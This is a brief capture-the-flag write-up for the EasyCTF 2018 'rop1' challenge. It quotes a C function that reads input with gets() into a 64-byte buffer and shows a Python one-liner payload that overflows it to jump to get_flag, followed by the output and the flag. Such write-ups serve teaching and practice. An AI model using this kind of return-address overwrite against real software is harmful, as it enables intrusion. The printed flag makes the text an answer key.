EasyCTF_2018: rop1

Category: Binary Exploitation Points: 120 Description:

Go to /problems/rop1 on the shell server and tell me whats in flag.txt.

Write-up

We are given two relevant files, rop1 and rop1.c. This is also relatively easy, just get the address of the function,

0x00400646    1 17           sym.get_flag

and the buffer size,

void get_input()
{
    char inp[64];
    gets(inp);
    printf("You said: %s\n", inp);
}

Add 8 to it, and prepare your payload,

$ python -c "print('A' * 72 + '\x46\x06\x40\x00')" | ./rop1
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF@
easyctf{r0ps_and_h0ps}
Segmentation fault (core dumped)

Therefore, the flag is easyctf{r0ps_and_h0ps}.

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